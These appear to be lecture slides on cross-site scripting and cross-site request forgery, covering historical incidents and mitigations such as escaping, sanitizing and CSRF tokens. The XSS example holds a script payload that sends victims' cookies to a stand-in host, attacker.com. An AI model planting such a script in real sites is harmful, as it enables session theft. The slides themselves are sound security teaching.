

software studio

cross site attacks

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cross site scripting (XSS)

A Fictional Example

on Facebook, attacker posts this on wall:

```
<script>  
window.location = 'http://attacker.com/steal?cookie = ' + document.cookie  
</script>
```

now, when other user displays Facebook page...

- › script sends her cookies to attacker
- › could get server-side private data too!

this is “persistent XSS”

- › simpler form: pass URL with query that puts script in page

cross site request forgery (CSRF)

A Fictional Example

on attacker's site, include hidden call to bank:

```

```

now, when other user loads attacker's page...

- › hidden call transfers her money to the attacker
- › can use all her credentials (session, cookies)

combine with XSS

- › attacker can place call on a trusted site

infamous attacks

MySpace (XSS)

- › display “Samy is my hero” and add friends (2005)
- › spread to 1M users in one day!

Gmail (CSRF)

- › get contact list (Jan 2007)
- › add mail filters (Sept 2007)

Netflix (CSRF)

- › change name & delivery address (2007)
- › modify movie queue (2009)



[http://en.wikipedia.org/wiki/Samy_\(computer_worm\)](http://en.wikipedia.org/wiki/Samy_(computer_worm))

<http://ajaxian.com/archives/gmail-csrf-security-flaw>

<http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/>

<http://appsecnotes.blogspot.com/2009/01/netflix-csrf-revisited.html>

what's going on?



XSS and CSRF are duals

- › XSS: client confuses servers
- › CSRF: server confuses clients

so it's about authentication

- › XSS: of *server*
- › CSRF: of *client*

standard XSS mitigations

escape all HTML tags

- › Rails doesn't do it by default :-)
- › use plugin, or h function `<%= h obj.field %>`

escape dangerous tags

- › called 'blacklisting'
- › very hard to get it right

accept certain tags with well-tested parser

- › called 'whitelisting'
- › a good solution

Rails

- › `sanitize()` used to be blacklist, now whitelist

standard CSRF mitigations

challenge/response

- › CAPTCHA, password reentry
- › inconvenient for client

secret token

- › generate a token for the session
- › add it to all URLs (but then exposed)
- › put in hidden form field (then only POSTs)
- › built into Rails (`protect_from_forgery`)

```
<form action="/transfer.do" method="post">  
<input type="hidden" name="CSRFToken" value="OWY4NmQwODQ2">  
...  
</form>
```

login CSRF

but what about login?

- › no session yet, so no token!

scenario

- › attacker logs you out of Google
- › and back in using attacker's credentials
- › now attacker gets your search history!

mitigating login CSRF

referrer field

- › request includes referrer URL (in *referer* header)
- › if request has referrer attacker.com, mybank.com rejects it

but sadly

- › referrer doesn't work (privacy, protocol holes)

```
Request URL: http://en.wikipedia.org/wiki/Daniel_Jackson
Request Method: GET
Status Code: 200 OK
▼ Request Headers view source
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.google.com/url?sa=t&rct=j&q=daniel%20jackson&source=web&cd=7&ved=0CEYQFjAG&url=http%3A%2F%2Fen.wikipedia.org%2Fwiki%2FDaniel_Jackson&ei=n4PJTt8s6vHSAerc3esP&usg=AFQjCNEAbezIh7DA5abwecf0-UafFXSwQ
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1 Safari/534.51.22
```

request obtained by clicking on link in a vanity search

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